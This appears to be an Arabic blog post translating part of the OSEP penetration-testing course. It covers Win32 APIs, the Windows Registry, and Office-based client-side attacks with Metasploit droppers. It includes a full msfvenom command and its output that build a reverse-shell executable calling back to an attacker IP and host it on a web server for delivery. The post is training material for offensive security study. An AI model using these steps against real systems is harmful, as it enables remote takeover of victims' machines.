• لمتابعة آخر المقالات و الحيل التقنية و كسب كورسات مجانية انضم لقناتنا الآن   انضم الان
المشاركات

#2 OSEP : Win Registry & Client Side Code Execution With Office Intro

CyberMax

السلام عليكم ورحمة الله تعالى وبركاته هذا المقال التاني من سلسلة "ترجمة كتاب OSEP كامل على شكل مقالات"  من دون طول بالمقدمة دعونا نتابع ما بدأنا به في الجزء الأول



2.2.2 Win32 APIs | تكملة 



يعرض قسم بناء الجملة في الوثائق النموذج الأولي  "prototype" للوظيفة الذي يوضح عدد ونوع الوسائط بالإضافة إلى نوع الإرجاع:

BOOL GetUserNameA(
 LPSTR lpBuffer,
 LPDWORD pcbBuffer
);


في هذا المثال، تتطلب واجهة برمجة التطبيقات "API" وسيطين "arguments" الأول عبارة عن مخزن مؤقت للإخراج من النوع LPSTR وهو مصطلح Microsoft لمجموعة الأحرف. والحجة الثانية عبارة عن مؤشر إلى DWORD وهو عدد صحيح غير موقّع مكون من 32 بت قيمة الإرجاع من واجهة برمجة التطبيقات هي قيمة منطقية " boolean" 

سنستخدم على نطاق واسع العديد من Win32Api  وأنواع البيانات المرتبطة بها من Microsoft35 خلال هذه الدورة. عندما نستخدم APIs هذه، يجب أن نضع في اعتبارنا تفصيلتين معينتين . أولاً، يجب أن نحدد ما إذا كانت العملية 32 بت أو 64 بت، حيث إن بعض الـ arguments  وحجمها يعتمدان على البت "bitness" . ثانيًا، يجب علينا التمييز بين استخدام ASCII36 وUnicode37 (الذي تشير إليه Microsoft أحيانًا باسم UTF-1638). نظرًا لأن أحرف ASCII تستخدم بايتًا واحدًا بينما يستخدم Unicode بايتين على الأقل، فإن العديد من واجهات برمجة التطبيقات Win32 متوفرة في نسختين مختلفتين. 

يوضح القسم 2 أعلاه النموذج الأولي لـ GetUserNameA، حيث يشير suffix الـ "A" إلى إصدار ASCII من API. يوضح القسم 3 أدناه النموذج الأولي لـ GetUserNameW، حيث يشير suffix الـ "w" (لـ "wide char") إلى Unicode:

BOOL GetUserNameW(
 LPWSTR lpBuffer,
 LPDWORD pcbBuffer
);
النوع الأول من الـ arguments  هو الآن من النوع LPCWSTR وهو عبارة عن مصفوفة أحرف UNICODE. سوف نستخدم واجهات برمجة تطبيقات Win32 على نطاق واسع في هذه الدورة

2.2.3 Windows Registry | سجل ويندوز


تدعم العديد من لغات البرمجة مفهوم المتغيرات الـ Local والـ Global ، حيث تكون المتغيرات الـ Local محدودة النطاق والمتغيرات الـ Global  قابلة للاستخدام في أي مكان في الكود. يحتاج نظام التشغيل إلى متغيرات Global بنفس الطريقة تقريبًا. يستخدم Windows السجل "Registry" لتخزين العديد من هذه المتغيرات.
في هذا القسم، سنناقش الـ Registry لأنه يحتوي على معلومات مهمة يمكن إساءة استخدامها أثناء الهجمات، وقد تسمح لنا بعض التعديلات بعمل Bypass دفاعات معينة.

السجل هو في الواقع قاعدة بيانات تتكون من عدد هائل من المفاتيح مع القيم المرتبطة بها. يتم فرز هذه المفاتيح بشكل هرمي "hierarchically " باستخدام المفاتيح الفرعية subkeys.

في الـ Root، تحتوي خلايا التسجيل المتعددة "multiple registry hives" على أقسام منطقية لـ  registry keysيتم تخزين المعلومات المتعلقة بالمستخدم الحالي في خلية HKEY_CURRENT_USER (HKCU)،  بينما يتم تخزين المعلومات المتعلقة بنظام التشغيل نفسه في خلية HKEY_LOCAL_MACHINE (HKLM).

يمكن لـ  Local User الكتابة إلى خلية HKEY_CURRENT_USER بينما يتطلب تعديل خلية HKEY_LOCAL_MACHINE  صلاحيات إدارية.

يمكننا التفاعل مع الـ Registry  برمجيًا من خلال Win32 API وكذلك من خلال واجهة المستخدم الرسومية باستخدام أدوات مثل Registry Editor (regedit) الموضح في الشكل  التالي 1 :

Registry Editor in Windows


يوضح الشكل 1 خلايا التسجيل الإضافية والتي سوف نستكشف بعضها في وحدات لاحقة.

نظرًا لأن إصدار 64 بت من Windows يمكنه تنفيذ تطبيقات 32 بت، فإن كل خلية تسجيل تحتوي على قسم مكرر يسمى Wow6432Node 41 والذي يخزن إعدادات 32 بت المناسبة.

يتم استخدام الـ Registry على نطاق واسع بواسطة نظام التشغيل ومجموعة متنوعة من التطبيقات. وباعتبارنا مختبرين للاختراق، يمكننا الحصول على معلومات استطلاعية مختلفة منه أو تعديله لتحسين الهجمات أو الـ Evasion 

2.3 Wrapping Up | الختام  


قدمت هذه الوحدة مقدمة موجزة عن البرمجة ونظرة عامة عالية المستوى لبعض
الجوانب المهمة لنظام التشغيل Windows. تعمل هذه النظرة العامة الموجزة للغاية على
إعدادنا للتقنيات التي سنستخدمها ونطورها في هذه الدورة.


3-  Client Side Code Execution With Office | تنفيذ التعليمات البرمجية من جانب العميل باستخدام Office 


توجد طريقتان عادةً للحصول على وصول غير مصرح به عن بُعد  " unauthorized remote access" إلى نظام ما. الطريقة الأولى هي استغلال تطبيق "vulnerable application" أو خدمة معرضة للخطر ومعرضة للاختراق عبر الإنترنت. ورغم أن هذا لا يتطلب تفاعل الضحية، إلا أن الهدف يجب أن يشغل برنامجًا معرضًا للخطر "vulnerable "، وهو ما يجب أن نستهدفه باستغلاله.

الطريقة الثانية للحصول على إمكانية الوصول " gain remote access " عن بعد هي خداع المستخدم لتشغيل تعليمات برمجية ضارة "malicious code" تتطلب هذه التقنية عادةً أن يتفاعل الضحية مع ملف أو صفحة ويب HTML في متصفح. تندرج هذه الأنواع من الهجمات ضمن فئة الهندسة الاجتماعية المعروفة باسم التصيد الاحتيالي "Phishing" وبينما يمكن اكتشاف الثغرات الأمنية في البرامج وتصحيحها، فإن سلوك المستخدم يكون أكثر صعوبة في التصحيح، مما يجعل هذا ناقل هجوم جذابًا بشكل خاص والتركيز الأساسي لهذه الوحدة.

من أجل جعل هذا النوع من الهجمات أكثر فعالية، سنحاول إساءة استخدام الميزات الموجودة في البرامج التي يستخدمها المستخدم النهائي عادةً ويثق بها. وعلى وجه التحديد، فإن هدف هذه الوحدة هو الحصول على تنفيذ التعليمات البرمجية من خلال استغلال منتجات Microsoft Office. وهذا هو ناقل هجوم شائع في كل من الهجمات في العالم الحقيقي "Real Word Attacks"  وفي اختبارات الاختراق.

1.3 Will You Be My Dropper

 
دعونا نناقش سيناريوهات الهجوم في العالم الحقيقي ونصف كيف تترجم هذه المفاهيم إلى اختبار اختراق.

لبدء الـ Client Side Attacks ، يقوم المهاجم غالبا بوضع Trojan  (في شكل برنامج نصي أو
و مستند) للضحية ويخدعه  تنفيذه. تقوم الـ Trojans التقليدية بتضمين حمولة كاملة "Payload"  ولكن الـ Trojan Dropper الأكثر تعقيدًا تعتمد على الـ Staged Payload  مع Function Callback

بمجرد تسليم الكود، يمكن كتابته على الـ Hard Disk أو تشغيله مباشرة من الـ Memory.  وفي كلتا الحالتين، فإن هدف الكود هو إنشاء قناة اتصال مع المهاجم.الكود الذي  يتم تشغيله على محطة عمل "Workstation" الضحية معروف بعدة أسماء (غالبًا مترادفة) بما في ذلك Implant, Agent, Backdoor, or  او ببساطة البرمجيات الخبيثة. 

بمجرد تنفيذ هذا الكود على الـ Client  ، يجب أن يتصل ببنية تحتية "اCommand and control" أو C2 من أجل التواصل مرة أخرى مع المهاجم. سيحتوي هذا الكود على اسم مضيف "HostName" المهاجم واسم المجال "Domain Name"  أو عنوان IP وسيستفيد من بروتوكول شبكة متاح مثل HTTP أو HTTPS (الذي قد يحاكي نشاط المستخدم) أو DNS (الذي يحاكي نشاط الشبكة الشائع). يُبسِّط إطار عمل Metasploit هذه العملية. 

1.1.3 Staged vs Non-staged Payloads

يتميز Metasploit بمكاتب رائعة من الـ Payloads  التي يمكن تنسيقها بطرق مختلفة عديدة. يتضمن الإطار Staged و Non-Staged 

على سبيل المثال، windows/shell_reverse_tcp عبارة عن ببساطة  non-staged  reverse TCP shell payload  وهي تحتوي على كل التعليمات البرمجية اللازمة لفتح reverse command shell لجهاز المهاجم. الـ Payload  نفسها عبارة عن عدد من تعليمات الـ Assembly، والتي عند تنفيذها، تستدعي عددًا من  Windows APIs التي تتصل بـ C2 الخاص بالمهاجم وتكشف موجه أوامر cmd.exe.

الـ Staged Payloads مثل windows/shell/reverse_tcp, تحتوي على قدر ضئيل من التعليمات البرمجية يقوم بإجراء استدعاء "Callback" ، ثم يقوم باسترجاع أي كود متبقي وينفذه في الـ Memory , لا تشغل هذه الحمولة الصغيرة نفس القدر من الذاكرة مثل الحمولة غير  لـ Non-Staged، وقد تتجنب برامج مكافحة الفيروسات.

لاحظ الفرق في الفواصل المستخدمة في أسماء هذه الـ Payloads. تستخدم الـ Non-Staged Payloads _ وتستخدم الـ Staged Payloads / على التوالي، كما هو موضح أدناه. يشير وصف الحمولة أيضًا إلى ما إذا كانت staged او Non-staged .
windows/x64/meterpreter_reverse_https Connect back to attacker and spawn a
Meterpreter shell
windows/x64/meterpreter/reverse_https Inject the meterpreter server DLL via th
Reflective Dll Injection payload (staged x64).

2.1.3  Building Our Droppers

مجرد اختيار الحمولة، يمكننا إنشاؤها باستخدام msfvenom على سبيل المثال، دعنا ننشئ ملفًا قابلاً للتنفيذ عاديًا بـ Non Staged Payload. أولاًسنضبط الـ Payload باستخدام -p، وعنوان IP المهاجم والمنفذ باستخدام LHOST وLPORT سنضبط تنسيق الحمولة "Payload Format"  ليكون قابلاً للتنفيذ باستخدام -f وسنتخدم-o لحفظ الـ Payload في root في خادم الويب Apache الخاص بنا. هذا البناء متطابق للحمولات الـ Staged و non-staged 
kali@kali:~$ sudo msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.120
LPORT=444 -f exe -o /var/www/html/shell.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: /var/www/html/shell.exe

kali@kali:~$ sudo service apache2 start


مع حفظ الـ Payload في الـ Root Directory في Apache الخاص بنا وبدء تشغيل الخادم، يمكننا تشغيل مستمع Netcat على جهاز هجوم Kali الخاص بنا لتلقي الـ Shell .

.... نتابع بالمقال القادم 


إرسال تعليق

Cookie Consent
We serve cookies on this site to analyze traffic, remember your preferences, and optimize your experience.
Oops!
It seems there is something wrong with your internet connection. Please connect to the internet and start browsing again.
AdBlock Detected!
We have detected that you are using adblocking plugin in your browser.
The revenue we earn by the advertisements is used to manage this website, we request you to whitelist our website in your adblocking plugin.
Site is Blocked
Sorry! This site is not available in your country.